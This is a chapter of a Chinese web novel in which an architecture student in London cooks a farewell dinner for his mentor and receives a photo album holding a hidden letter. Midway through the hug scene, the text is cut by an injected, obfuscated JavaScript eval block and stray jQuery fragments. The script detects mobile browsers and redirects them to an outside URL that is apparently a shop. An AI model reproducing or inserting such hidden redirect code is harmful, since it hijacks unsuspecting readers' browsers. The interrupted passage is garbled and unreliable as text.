周日下午四点，林溪在公寓厨房里手忙脚乱。


    灶台上摊着两本摊开的菜谱——一本是顾怀玥上次来伦敦时塞给他的《家常中餐速成》，另一本是他在唐人街书店买的《广东菜入门》。食材散落一地：蔫了的青菜，切得歪歪扭扭的肉丝，还有一小袋他特意去中国超市买的干香菇。


    手机在料理台上震动，拉杰的消息：“需要帮忙吗兄弟？我女朋友是广东人，可以远程指导！”


    林溪擦擦手上的水，回复：“不用，我想自己来。”


    他想自己来。为顾怀瑾做的最后一顿饭，他想从头到尾都自己完成，哪怕结果可能是灾难。


    香菇要提前泡发，他忘了，现在只能用热水急泡。肉丝要腌制，他手一抖，生抽倒多了。青菜要焯水，他煮过头，捞出来时已经发黄。


    窗外的天色渐暗。伦敦的秋天，天黑得早，才五点，暮色就已经漫进厨房。林溪开了灯，暖黄的光落在他沾着酱油的手上。


    六点，门铃准时响起。


    林溪深吸一口气，在围裙上擦了擦手，开门。


    顾怀瑾站在门口，手里提着一个纸袋。他穿着简单的黑色毛衣，肩上落着细雨——又下雨了。


    “请进。”林溪让开身。


    顾怀瑾走进来，环顾这个小小的公寓。书桌堆满了图纸和模型材料，床上被子没叠，但窗台擦得很干净，上面摆着一小盆绿植——是林溪上周从市场买的，说是“给房间添点生机”。


    “在做饭？”顾怀瑾闻到了味道。


    “嗯……可能不太好。”林溪苦笑，“您先坐，马上就好。”


    顾怀瑾把纸袋放在桌上：“带了点东西。”


    厨房里，林溪最后翻炒着香菇肉片。油溅出来，烫到手背，他嘶了一声。身后传来声音：“需要帮忙吗？”


    “不用不用，您坐着就好。”


    但顾怀瑾已经走进厨房。厨房很小，两个人站在一起几乎转身就会碰到。他接过林溪手里的锅铲：“我来吧，你去摆碗筷。”


    林溪愣了愣，让开位置。顾怀瑾翻炒的动作很熟练，手腕轻转，锅里的食材均匀受热。火光照亮他的侧脸，轮廓在蒸汽中显得柔和。


    “您会做饭？”林溪惊讶。


    “一个人生活，总要会一点。”顾怀瑾关了火，“而且我姐总担心我吃不好，每次来都教几道菜。”


    三菜一汤摆上桌：香菇肉片（顾怀瑾拯救过的）、蒜蓉青菜（有点黄但能吃）、番茄炒蛋（唯一林溪做得不错的），还有紫菜蛋花汤。


    很简单的家常菜，但在伦敦的这个雨夜，冒着温暖的热气。


    他们面对面坐下。林溪盛饭，手还有点抖。


    “尝尝。”他说。


    顾怀瑾每样都夹了一点，慢慢咀嚼。“很好吃。”他说。


    “您别安慰我……”


    “真的。”顾怀瑾抬头看他，“有家的味道。”


    这句话让林溪的鼻子一酸。他低头扒饭，掩饰情绪。


    窗外雨声渐密，敲打着玻璃。公寓里很安静，只有碗筷碰撞的轻响。


    “明天几点的飞机？”林溪问。


    “上午十点。”


    “我送您。”


    “不用。”顾怀瑾摇头，“你上午有课。而且……我不喜欢送别。”


    林溪握着筷子的手紧了紧。他也不喜欢。


    “这个，”顾怀瑾推过那个纸袋，“给你的。”


    林溪打开。里面是一本硬壳相册，很旧了，封面是深绿色的丝绒。翻开，第一页是一张黑白照片——年轻的顾怀瑾，大概二十出头，站在一栋未完成的建筑前。阳光很好，他笑得毫无阴霾。


    “这是我。”顾怀瑾指着照片，“大四，第一个实习项目。那时候觉得建筑是世界上最酷的事。”


    往后翻，更多照片：硕士毕业典礼，第一次获奖，在印度的工地，和父亲的合影，图书馆建成那天……


    像一部简略的视觉传记。


    翻到最后几页，林溪停住了。那里贴着的不是照片，是图纸复印件——图书馆的早期草图，上面有顾怀瑾的红笔批注。旧厂房的结构计算手稿。还有……一张很小的、画在便签纸上的速写，是林溪趴在模型室桌子上睡着的样子。


    “这是……”林溪的声音发颤。


    “随手画的。”顾怀瑾的语气很淡，“有天晚上路过模型室，看见你在里面。”


    林溪的手指抚过那张速写。铅笔线条很轻，但捕捉到了他侧脸的轮廓，和散在桌上的发丝。日期标注是图书馆项目最紧张的时候。


    “这本相册，”顾怀瑾说，“我带了很久。每次觉得累，或者怀疑自己的选择时，就翻一翻。看看来路，就知道为什么还在走。”


    他顿了顿：“现在给你。不是让你学我，是让你知道——每个人都有来路。而你的来路，已经比我当年清晰得多。”


    林溪合上相册，抱在怀里。丝绒封面有岁月的质感，像握住了一段浓缩的时间。


    “谢谢。”他说。


    饭后，林溪洗碗，顾怀瑾擦桌子。配合默契，像做过很多次。


    雨下得更大了。雨水顺着窗玻璃流淌，把外面的街灯晕成一团团暖黄的光斑。


    “看来一时半会儿停不了。”顾怀瑾看着窗外。


    “那……您再坐会儿？”


    他们在狭小的沙发上坐下，中间隔着一个抱枕的距离。电视开着，但静音，画面是BBC的纪录片，关于古罗马建筑。


    “林溪，”顾怀瑾忽然开口，“有件事，我一直想问你。”


    “您说。”


    “如果……我是说如果，”他的声音很轻，“两年后你回国，发现我已经不是现在的我，或者你不再是现在的你，怎么办？”


    这个问题太突然，也太深刻。林溪的心脏重重跳了一下。


    “您是说……我们会变？”


    “人都会变。”顾怀瑾看着电视画面里斗兽场的废墟，“时间，经历，选择……都会改变人。我父亲年轻时的理想，和我后来认识的父亲，几乎是两个人。我和二十岁的我，也像是两个人。”


    他转回头，看着林溪：“所以我在想，也许我们现在感受到的……很多东西，两年后，会不一样。”


    林溪明白了他的意思。他在担心——担心距离，担心时间，担心变化会冲淡此刻真实的情感。


    “顾总，”林溪轻声说，“您记得赵秀英的那封信吗？她说：‘有些东西，锈不掉。’”


    顾怀瑾点头。


    “我觉得，”林溪继续说，“真正重要的东西，不会因为时间而改变。就像哈桑母亲五十年前的刺绣，法蒂玛从母亲那里学来的手艺，您父亲画的坡屋顶……它们穿越了那么长的时间，依然鲜活。”


    他顿了顿：“如果我们之间的……whatever this is，是那种‘锈不掉’的东西，那么两年，十年，都不会改变它。如果不是，那么即使天天在一起，也会变。”


    电视屏幕的光在顾怀瑾脸上明明灭灭。他沉默了很久。


    “你比我想象的成熟。”他最终说。


    “是您教我的。”林溪微笑，“教我看建筑，也教我……看人。”


    窗外的雨势渐小，变成细密的淅沥声。纪录片结束了，电视自动跳转到新闻频道，依然静音。


    “我该走了。”顾怀瑾站起身。


    林溪也站起来。两人面对面站着，在狭小的客厅里，距离很近。


    “顾总，”林溪听见自己的声音，“我能……抱一下您吗？”


    话出口的瞬间，他就后悔了。太唐突，太……


    但顾怀瑾没有拒绝。他张开手臂。


    林溪向前一步，轻轻抱住他。黑色毛衣的触感柔软，下面能感受到肩膀的骨骼。顾怀瑾身上有淡淡的檀木香，混着雨水的湿气。他的手臂环住林溪的后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193502|197102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    背，很轻，但很稳。


    这是一个纯粹的拥抱。没有情欲，只有……告别。还有承诺。


    林溪闭上眼睛。这一刻，时间仿佛静止了。窗外的雨声，电视的光，厨房里残留的食物香气，都退到很远的地方。只有这个拥抱是真实的，温暖的，沉甸甸的。


    许久，顾怀瑾松开手。


    “好了。”他的声音有些沙哑，“真的该走了。”


    林溪送他到门口。楼道里的声控灯坏了，只有街灯的光从楼梯间的窗户透进来，勉强照亮台阶。


    “不用送了。”顾怀瑾说，“就到这里。”


    林溪站在门口，看着他转身下楼。脚步声在寂静的楼道里回响，一声，又一声，渐渐远去。


    最终，消失在雨夜里。


    林溪关上门，背靠着门板，站了很久。


    然后他走到窗边，撩起窗帘。楼下，顾怀瑾走出公寓楼，没有打伞，只是竖起衣领，走进细雨中。


    他没有回头，只是抬起手，挥了挥。


    然后消失在街角。


    林溪放下窗帘，在窗边坐下。雨还在下，敲打着玻璃，像无数细小的告别。


    他打开那本相册，重新翻看。每一张照片，每一张图纸，都是顾怀瑾走过的路。而现在，他把这条路的一部分，交给了林溪。


    手机震动。是顾怀瑾的消息：


    “到酒店了。相册最后一页有夹层，打开看看。”


    林溪翻到最后一页。果然，封底内侧有一个薄薄的夹层。他小心地撕开一个小口，里面是一张折叠的信纸。


    展开，是顾怀瑾的字迹：


    “林溪：


    如果你看到这封信，说明我们真的告别了。


    写这封信时，是决定帮你申请AA的那天。我在想：我这样做对吗？把你送走，送到那么远的地方，让你独自面对陌生的世界。


    但后来我想通了。真正的守护，不是把你留在身边，是给你翅膀，让你飞。而真正的信任，是相信无论你飞多远，都会记得为什么起飞。


    所以飞吧。去看更大的世界，学更广的知识，遇更多的人。但记得——建筑的根在土地里，在普通人的生活里，在那些被遗忘的记忆里。


    也记得，有个人在这里，为你亮着一盏灯。


    等你回来，我们一起建更好的房子。


    顾怀瑾


    2024年9月”


    日期是三个月前——在他收到录取通知书之前。


    原来那么早，顾怀瑾就已经在准备告别。


    林溪握着信纸，眼泪终于掉下来。不是悲伤，是一种更复杂的情绪——被理解的温暖，被信任的重量，被等待的承诺。


    他擦掉眼泪，走到书桌前。摊开一张新的图纸。


    然后，他拿出哈桑母亲的那块刺绣，放在图纸旁边。


    蓝白的几何图案，在台灯下泛着温柔的光泽。五十年了，针脚依然清晰，像一段等待被续写的记忆。


    林溪拿起铅笔，在图纸上画下第一根线。


    不是东区社区中心的方案。


    是一个新的构想——一个关于记忆、传承、光的建筑。一个能让哈桑母亲的刺绣、法蒂玛的手艺、赵秀英的图纸、顾怀瑾父亲画的坡屋顶，都能找到位置的地方。


    他不知道这个设计最终会变成什么。但他知道，这将是他的硕士毕业设计，也将是他对这两年所有相遇的回答。


    窗外的雨停了。云层裂开，月光漏出来，洒在图纸上。


    林溪继续画着。线条在纸上延伸，像时间在流淌，像记忆在生长，像某种情感，在离别后的第一个夜晚，找到了表达的路径。


    夜深了。伦敦沉睡，做着古老的梦。


    而在这个小小的公寓里，一个年轻人坐在灯下，用铅笔和纸，回应着一封三个月前的信，一块五十年前的刺绣，和一句没有说出口但彼此明白的：


    等我回来。